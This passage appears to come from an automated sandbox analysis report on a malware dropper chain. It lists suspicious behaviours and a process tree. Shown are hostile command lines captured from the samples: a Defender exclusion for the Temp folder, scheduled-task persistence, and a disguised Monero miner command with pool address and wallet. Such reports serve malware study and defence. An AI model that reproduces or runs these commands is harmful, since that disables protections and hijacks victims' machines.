4788	802260.exe
3592	WerFault.exe
3592	WerFault.exe
1456	Chrome 5.exe
1456	Chrome 5.exe
1840	2129644.exe
1840	2129644.exe
6100	WerFault.exe
6100	WerFault.exe
4112	services64.exe
4112	services64.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe
4144	explorer.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
5768	6360626.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1148	Tue118f55232e4.exe
Token: SeAssignPrimaryTokenPrivilege	1148	Tue118f55232e4.exe
Token: SeLockMemoryPrivilege	1148	Tue118f55232e4.exe
Token: SeIncreaseQuotaPrivilege	1148	Tue118f55232e4.exe
Token: SeMachineAccountPrivilege	1148	Tue118f55232e4.exe
Token: SeTcbPrivilege	1148	Tue118f55232e4.exe
Token: SeSecurityPrivilege	1148	Tue118f55232e4.exe
Token: SeTakeOwnershipPrivilege	1148	Tue118f55232e4.exe
Token: SeLoadDriverPrivilege	1148	Tue118f55232e4.exe
Token: SeSystemProfilePrivilege	1148	Tue118f55232e4.exe
Token: SeSystemtimePrivilege	1148	Tue118f55232e4.exe
Token: SeProfSingleProcessPrivilege	1148	Tue118f55232e4.exe
Token: SeIncBasePriorityPrivilege	1148	Tue118f55232e4.exe
Token: SeCreatePagefilePrivilege	1148	Tue118f55232e4.exe
Token: SeCreatePermanentPrivilege	1148	Tue118f55232e4.exe
Token: SeBackupPrivilege	1148	Tue118f55232e4.exe
Token: SeRestorePrivilege	1148	Tue118f55232e4.exe
Token: SeShutdownPrivilege	1148	Tue118f55232e4.exe
Token: SeDebugPrivilege	1148	Tue118f55232e4.exe
Token: SeAuditPrivilege	1148	Tue118f55232e4.exe
Token: SeSystemEnvironmentPrivilege	1148	Tue118f55232e4.exe
Token: SeChangeNotifyPrivilege	1148	Tue118f55232e4.exe
Token: SeRemoteShutdownPrivilege	1148	Tue118f55232e4.exe
Token: SeUndockPrivilege	1148	Tue118f55232e4.exe
Token: SeSyncAgentPrivilege	1148	Tue118f55232e4.exe
Token: SeEnableDelegationPrivilege	1148	Tue118f55232e4.exe
Token: SeManageVolumePrivilege	1148	Tue118f55232e4.exe
Token: SeImpersonatePrivilege	1148	Tue118f55232e4.exe
Token: SeCreateGlobalPrivilege	1148	Tue118f55232e4.exe
Token: 31	1148	Tue118f55232e4.exe
Token: 32	1148	Tue118f55232e4.exe
Token: 33	1148	Tue118f55232e4.exe
Token: 34	1148	Tue118f55232e4.exe
Token: 35	1148	Tue118f55232e4.exe
Token: SeDebugPrivilege	8	Tue11f251db82fb7b.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3196	Tue11141271fbe5877f.exe
Token: SeRestorePrivilege	4672	WerFault.exe
Token: SeBackupPrivilege	4672	WerFault.exe
Token: SeBackupPrivilege	4672	WerFault.exe
Token: SeIncreaseQuotaPrivilege	3872	powershell.exe
Token: SeSecurityPrivilege	3872	powershell.exe
Token: SeTakeOwnershipPrivilege	3872	powershell.exe
Token: SeLoadDriverPrivilege	3872	powershell.exe
Token: SeSystemProfilePrivilege	3872	powershell.exe
Token: SeSystemtimePrivilege	3872	powershell.exe
Token: SeProfSingleProcessPrivilege	3872	powershell.exe
Token: SeIncBasePriorityPrivilege	3872	powershell.exe
Token: SeCreatePagefilePrivilege	3872	powershell.exe
Token: SeBackupPrivilege	3872	powershell.exe
Token: SeRestorePrivilege	3872	powershell.exe
Token: SeShutdownPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeSystemEnvironmentPrivilege	3872	powershell.exe
Token: SeRemoteShutdownPrivilege	3872	powershell.exe
Token: SeUndockPrivilege	3872	powershell.exe
Token: SeManageVolumePrivilege	3872	powershell.exe
Token: 33	3872	powershell.exe
Token: 34	3872	powershell.exe
Token: 35	3872	powershell.exe
Token: 36	3872	powershell.exe
Token: SeDebugPrivilege	3560	3402997.exe
Token: SeDebugPrivilege	1072	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4692	2.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5472	setup_2.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5144	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 4812	3956	setup_x86_x64_install.exe	77
PID 3956 wrote to memory of 4812	3956	setup_x86_x64_install.exe	77
PID 3956 wrote to memory of 4812	3956	setup_x86_x64_install.exe	77
PID 4812 wrote to memory of 4728	4812	setup_installer.exe	79
PID 4812 wrote to memory of 4728	4812	setup_installer.exe	79
PID 4812 wrote to memory of 4728	4812	setup_installer.exe	79
PID 4728 wrote to memory of 3548	4728	setup_install.exe	83
PID 4728 wrote to memory of 3548	4728	setup_install.exe	83
PID 4728 wrote to memory of 3548	4728	setup_install.exe	83
PID 4728 wrote to memory of 3564	4728	setup_install.exe	86
PID 4728 wrote to memory of 3564	4728	setup_install.exe	86
PID 4728 wrote to memory of 3564	4728	setup_install.exe	86
PID 4728 wrote to memory of 3568	4728	setup_install.exe	84
PID 4728 wrote to memory of 3568	4728	setup_install.exe	84
PID 4728 wrote to memory of 3568	4728	setup_install.exe	84
PID 4728 wrote to memory of 3012	4728	setup_install.exe	88
PID 4728 wrote to memory of 3012	4728	setup_install.exe	88
PID 4728 wrote to memory of 3012	4728	setup_install.exe	88
PID 4728 wrote to memory of 4896	4728	setup_install.exe	87
PID 4728 wrote to memory of 4896	4728	setup_install.exe	87
PID 4728 wrote to memory of 4896	4728	setup_install.exe	87
PID 4728 wrote to memory of 4348	4728	setup_install.exe	101
PID 4728 wrote to memory of 4348	4728	setup_install.exe	101
PID 4728 wrote to memory of 4348	4728	setup_install.exe	101
PID 4728 wrote to memory of 4536	4728	setup_install.exe	89
PID 4728 wrote to memory of 4536	4728	setup_install.exe	89
PID 4728 wrote to memory of 4536	4728	setup_install.exe	89
PID 4728 wrote to memory of 4548	4728	setup_install.exe	90
PID 4728 wrote to memory of 4548	4728	setup_install.exe	90
PID 4728 wrote to memory of 4548	4728	setup_install.exe	90
PID 4728 wrote to memory of 4028	4728	setup_install.exe	91
PID 4728 wrote to memory of 4028	4728	setup_install.exe	91
PID 4728 wrote to memory of 4028	4728	setup_install.exe	91
PID 3548 wrote to memory of 3872	3548	cmd.exe	94
PID 3548 wrote to memory of 3872	3548	cmd.exe	94
PID 3548 wrote to memory of 3872	3548	cmd.exe	94
PID 4728 wrote to memory of 4808	4728	setup_install.exe	93
PID 4728 wrote to memory of 4808	4728	setup_install.exe	93
PID 4728 wrote to memory of 4808	4728	setup_install.exe	93
PID 4548 wrote to memory of 3196	4548	cmd.exe	92
PID 4548 wrote to memory of 3196	4548	cmd.exe	92
PID 3012 wrote to memory of 8	3012	cmd.exe	100
PID 3012 wrote to memory of 8	3012	cmd.exe	100
PID 4348 wrote to memory of 1016	4348	cmd.exe	98
PID 4348 wrote to memory of 1016	4348	cmd.exe	98
PID 4348 wrote to memory of 1016	4348	cmd.exe	98
PID 3564 wrote to memory of 936	3564	cmd.exe	99
PID 3564 wrote to memory of 936	3564	cmd.exe	99
PID 3564 wrote to memory of 936	3564	cmd.exe	99
PID 4536 wrote to memory of 452	4536	cmd.exe	97
PID 4536 wrote to memory of 452	4536	cmd.exe	97
PID 4536 wrote to memory of 452	4536	cmd.exe	97
PID 4028 wrote to memory of 1148	4028	cmd.exe	95
PID 4028 wrote to memory of 1148	4028	cmd.exe	95
PID 4028 wrote to memory of 1148	4028	cmd.exe	95
PID 3568 wrote to memory of 1072	3568	cmd.exe	96
PID 3568 wrote to memory of 1072	3568	cmd.exe	96
PID 3568 wrote to memory of 1072	3568	cmd.exe	96
PID 4808 wrote to memory of 4632	4808	cmd.exe	103
PID 4808 wrote to memory of 4632	4808	cmd.exe	103
PID 4808 wrote to memory of 4632	4808	cmd.exe	103
PID 4896 wrote to memory of 4588	4896	cmd.exe	102
PID 4896 wrote to memory of 4588	4896	cmd.exe	102
PID 4896 wrote to memory of 4588	4896	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3568
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        
        PID:1072
      - C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ODLOI.tmp\Tue11b9d76a96506.tmp" /SL5="$301D4,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11b9d76a96506.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3564
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        
        PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue1109eec571ac.exe
        
        Tue1109eec571ac.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:4588
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 292
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3532
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3012
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:8
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3896
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:4020
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:4112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2984
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:4868
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:5800
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4144
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1072
        
        C:\Users\Admin\AppData\Roaming\1562203.exe
        
        "C:\Users\Admin\AppData\Roaming\1562203.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5588
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5588 -s 2316
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5968
        
        C:\Users\Admin\AppData\Roaming\6360626.exe
        
        "C:\Users\Admin\AppData\Roaming\6360626.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:5768
        
        C:\Users\Admin\AppData\Roaming\2129644.exe
        
        "C:\Users\Admin\AppData\Roaming\2129644.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        
        PID:1840
        
        C:\Users\Admin\AppData\Roaming\5899289.exe
        
        "C:\Users\Admin\AppData\Roaming\5899289.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3176
        
        C:\Users\Admin\AppData\Roaming\1580734.exe
        
        "C:\Users\Admin\AppData\Roaming\1580734.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1204
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 2392
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3592
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        
        PID:2892
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2892 -s 280
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5844
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4692
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:6020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6020 -s 208
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5676
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:4028
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 608
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-4DPH0.tmp\setup_2.tmp" /SL5="$10204,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:5316
        
        C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DNEBQ.tmp\setup_2.tmp" /SL5="$3023A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:5472
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:5752
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        
        PID:5388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        Tue11e4e580f2e8141a3.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:452
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4292
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3092
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1444
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4060
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4972
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1456
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4780
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4808
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2896
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3936
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5164
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5624
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2472
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4732
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2112
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5456
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3436
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3168
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3420
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:1332
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:980
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2936
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:4408
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:876
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5980
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:6100
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:2844
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3068
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2288
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4984
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2892
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1488
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3240
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3768
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4512
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5576
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:912
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
